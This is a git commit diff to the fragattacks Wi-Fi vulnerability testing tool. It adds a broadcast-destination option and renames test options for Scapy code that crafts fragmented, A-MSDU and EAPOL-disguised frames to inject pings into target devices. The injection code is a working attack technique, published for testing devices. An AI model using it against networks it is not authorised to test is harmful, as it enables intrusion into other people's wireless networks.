mirror of
https://github.com/vanhoefm/fragattacks.git
synced 2024-11-28 10:18:21 -05:00
fragattack: perform eapol-amsdu test against AP without tcpdump
This commit is contained in:
parent
95f5203446
commit
b93e980af6
@ -190,12 +190,12 @@ and the other tests are useful to understand the behaviour of the device under t
|
||||
| | ping I,P | Send a plaintext ping.
|
||||
| | ping I,P,P | Send a fragmented ping: both fragments are sent in plaintext.
|
||||
| **Linux Plain/Enc** | linux-plain | Mixed plaintext/encrypted fragmentation attack specific to Linux.
|
||||
| **EAPOL A-MSDU** | eapol-msdu BB | Send A-MSDU frame disguised as EAPOL frame. Run tcpdump on target to check if vulnerable.
|
||||
| | eapol-msdu I,CC | Same as above, except the frame is injected after being connected and obtaining an IP.
|
||||
| | eapol-msdu M,BB | Send a malformed A-MSDU frame disguised as EAPOL frame. Use tcpdump to check if vulnerable.
|
||||
| | eapol-msdu M,I,CC | Same as above, except the frame is injected after being connected and obtaining an IP.
|
||||
| **EAPOL A-MSDU** | eapol-amsdu BB | Send A-MSDU frame disguised as EAPOL frame. Run tcpdump on target to check if vulnerable.
|
||||
| | eapol-amsdu I,CC | Same as above, except the frame is injected after being connected and obtaining an IP.
|
||||
| | eapol-amsdu M,BB | Send a malformed A-MSDU frame disguised as EAPOL frame. Use tcpdump to check if vulnerable.
|
||||
| | eapol-amsdu M,I,CC | Same as above, except the frame is injected after being connected and obtaining an IP.
|
||||
| **MacOS Plain Inject** | macos BB | Fragmented EAPOL attack (notably works against MacOS). Run tcpdump on target to check if vulnerable.
|
||||
| **Broadcast ping** | ping I,D,P --bcast | Send ping inside the second plaintext fragment of a broadcast Wi-Fi frame (no 1st fragment is sent).
|
||||
| **Broadcast ping** | ping I,D,P --bcast-ra | Send ping inside the second plaintext fragment of a broadcast Wi-Fi frame (no 1st fragment is sent).
|
||||
|
||||
Optionally you can also run more advanced tests. These have a lower chance of uncovering vulnerabilities,
|
||||
but against more exotic implementations that might work (while the above tests could fail).
|
||||
@ -209,11 +209,13 @@ but against more exotic implementations that might work (while the above tests c
|
||||
| | ping I,R,BE,AE --freebsd | Mixed key attack against FreeBSD
|
||||
| **Mixed Plain/Enc** | ping I,E,P,E | Send a fragmented ping: first fragment encrypted, second plaintext, third encrypted.
|
||||
| | linux-plain 3 | Mixed plaintext/encrypted fragmentation attack, decoy fragment is sent using QoS TID 3.
|
||||
| **EAPOL A-MSDU** | eapol-msdu SS |
|
||||
| | eapol-msdu AA |
|
||||
| **EAPOL A-MSDU** | eapol-amsdu [M,]BB --bcast-dst | Same as "eapol-amsdu [M,]BB" but ping is broadcasted. To test AP, check if a 2nd client receives the ping.
|
||||
| | eapol-amsdu [M,]I,CC --bcast-dst| Same as "eapol-amsdu [M,]I,CC" but ping is broadcasted. To test AP, check if a 2nd client receives the ping.
|
||||
| | eapol-amsdu SS |
|
||||
| | eapol-amsdu AA |
|
||||
| **MacOS Plain Inject** | macos CC | Fragmented EAPOL attack (notably works against MacOS). Run tcpdump on target to check if vulnerable.
|
||||
| **Broadcast ping** | ping I,P,P --bcast | Send ping inside two plaintext fragments of a broadcast Wi-Fi frame.
|
||||
| | ping I,P --bcast | Send ping inside a plaintext broadcast Wi-Fi frame.
|
||||
| **Broadcast ping** | ping I,P,P --bcast-ra | Send ping inside two plaintext fragments of a broadcast Wi-Fi frame.
|
||||
| | ping I,P --bcast-ra | Send ping inside a plaintext broadcast Wi-Fi frame.
|
||||
|
||||
Details remarks:
|
||||
|
||||
|
@ -99,7 +99,7 @@ def prepare_tests(opt):
|
||||
actions = [Action(Action.StartAuth, enc=False),
|
||||
Action(Action.StartAuth, enc=False)]
|
||||
|
||||
test = EapolAmsduTest(REQ_ICMP, actions, freebsd)
|
||||
test = EapolAmsduTest(REQ_ICMP, actions, freebsd, opt)
|
||||
|
||||
elif opt.testname == "linux-plain":
|
||||
decoy_tid = None if stractions == None else int(stractions)
|
||||
@ -112,7 +112,7 @@ def prepare_tests(opt):
|
||||
actions = [Action(Action.StartAuth, enc=False),
|
||||
Action(Action.StartAuth, enc=False)]
|
||||
|
||||
test = MacOsTest(REQ_ICMP, actions)
|
||||
test = MacOsTest(REQ_ICMP, actions, opt.bcast_dst)
|
||||
|
||||
elif opt.testname == "qca-test":
|
||||
test = QcaDriverTest()
|
||||
@ -212,7 +212,8 @@ if __name__ == "__main__":
|
||||
parser.add_argument('--rekey-plaintext', default=False, action='store_true', help="Do PTK rekey with plaintext EAPOL frames.")
|
||||
parser.add_argument('--rekey-early-install', default=False, action='store_true', help="Install PTK after sending Msg3 during rekey.")
|
||||
parser.add_argument('--full-reconnect', default=False, action='store_true', help="Reconnect by deauthenticating first.")
|
||||
parser.add_argument('--bcast', default=False, action='store_true', help="Send pings using broadcast receiver address (addr1).")
|
||||
parser.add_argument('--bcast-ra', default=False, action='store_true', help="Send pings using broadcast *receiver* address (= addr1).")
|
||||
parser.add_argument('--bcast-dst', default=False, action='store_true', help="Send pings using broadcast *destination* when to AP ().")
|
||||
parser.add_argument('--pn-per-qos', default=False, action='store_true', help="Use separate Tx packet counter for each QoS TID.")
|
||||
parser.add_argument('--freebsd-cache', default=False, action='store_true', help="Sent EAP(OL) frames as (malformed) broadcast EAPOL/A-MSDUs.")
|
||||
parser.add_argument('--connected-delay', type=int, default=1, help="Second to wait after AfterAuth before triggering Connected event")
|
||||
|
@ -6,7 +6,8 @@ class PingTest(Test):
|
||||
self.ptype = ptype
|
||||
self.separate_with = separate_with
|
||||
|
||||
self.bcast = False if opt == None else opt.bcast
|
||||
self.bcast_ra = False if opt == None else opt.bcast_ra
|
||||
self.bcast_dst = False if opt == None else opt.bcast_dst
|
||||
self.as_msdu = False if opt == None else opt.as_msdu
|
||||
self.icmp_size = None if opt == None else opt.icmp_size
|
||||
self.padding = None if opt == None else opt.padding
|
||||
@ -44,8 +45,13 @@ class PingTest(Test):
|
||||
|
||||
# Assign frames to the existing fragment objects
|
||||
for frag, frame in zip(self.get_actions(Action.Inject), frames):
|
||||
if self.bcast:
|
||||
if self.bcast_ra:
|
||||
frame.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||
if self.bcast_dst:
|
||||
if header.FCfield & Dot11(FCfield="to-DS").FCfield != 0:
|
||||
frame.addr3 = "ff:ff:ff:ff:ff:ff"
|
||||
else:
|
||||
frame.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||
|
||||
# Assign fragment numbers according to MetaDrop rules
|
||||
frame.SC = (frame.SC & 0xfff0) | fragnums.pop(0)
|
||||
@ -127,9 +133,10 @@ class MacOsTest(Test):
|
||||
"""
|
||||
See docs/macoxs-reversing.md for background on the attack.
|
||||
"""
|
||||
def __init__(self, ptype, actions):
|
||||
def __init__(self, ptype, actions, bcast_dst):
|
||||
super().__init__(actions)
|
||||
self.ptype = ptype
|
||||
self.bcast_dst = bcast_dst
|
||||
|
||||
def prepare(self, station):
|
||||
# First fragment is the start of an EAPOL frame
|
||||
@ -146,6 +153,12 @@ class MacOsTest(Test):
|
||||
frag2.SC |= 1
|
||||
frag2.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||
|
||||
# Practically all APs will not process frames with a broadcast receiver address, unless
|
||||
# they are operating in client mode. But to test APs without tcpdump anyway, allow the
|
||||
# ping to be send to a broadcast destination, so other STAs can monitor for it.
|
||||
if self.bcast_dst and frag2.FCfield & Dot11(FCfield="to-DS").FCfield != 0:
|
||||
frag2.addr3 = "ff:ff:ff:ff:ff:ff"
|
||||
|
||||
self.actions[0].frame = frag1
|
||||
self.actions[1].frame = frag2
|
||||
|
||||
@ -175,10 +188,11 @@ class EapolTest(Test):
|
||||
|
||||
|
||||
class EapolAmsduTest(Test):
|
||||
def __init__(self, ptype, actions, freebsd=False):
|
||||
def __init__(self, ptype, actions, freebsd=False, opt=None):
|
||||
super().__init__(actions)
|
||||
self.ptype = ptype
|
||||
self.freebsd = freebsd
|
||||
self.bcast_dst = False if opt == None else opt.bcast_dst
|
||||
|
||||
def prepare(self, station):
|
||||
log(STATUS, "Generating ping test", color="green")
|
||||
@ -190,14 +204,27 @@ class EapolAmsduTest(Test):
|
||||
# Testing
|
||||
#header.addr2 = "00:11:22:33:44:55"
|
||||
|
||||
mac_src = station.mac
|
||||
mac_dst = station.get_peermac()
|
||||
if self.bcast_dst:
|
||||
mac_dst = "ff:ff:ff:ff:ff:ff"
|
||||
|
||||
# Masquerade A-MSDU frame as an EAPOL frame
|
||||
if self.freebsd:
|
||||
log(STATUS, "Creating malformed EAPOL/MSDU that FreeBSD treats as valid")
|
||||
request = freebsd_create_eapolmsdu(station.mac, station.get_peermac(), request)
|
||||
request = freebsd_create_eapolmsdu(mac_src, mac_dst, request)
|
||||
else:
|
||||
request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / create_msdu_subframe(station.mac, station.get_peermac(), request)
|
||||
request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / create_msdu_subframe(mac_src, mac_dst, request)
|
||||
|
||||
frames = create_fragments(header, request, 1)
|
||||
toinject = frames[0]
|
||||
|
||||
# Make sure addr1/3 matches the destination address in the A-MSDU subframe(s)
|
||||
if self.bcast_dst:
|
||||
if toinject.FCfield & Dot11(FCfield="to-DS").FCfield != 0:
|
||||
toinject.addr3 = "ff:ff:ff:ff:ff:ff"
|
||||
else:
|
||||
toinject.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||
|
||||
# XXX Where was this needed again?
|
||||
auth = Dot11()/Dot11Auth(status=0, seqnum=1)
|
||||
@ -205,6 +232,6 @@ class EapolAmsduTest(Test):
|
||||
auth.addr2 = "00:11:22:33:44:55"
|
||||
|
||||
self.actions[0].frame = auth
|
||||
self.actions[1].frame = frames[0]
|
||||
self.actions[1].frame = toinject
|
||||
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user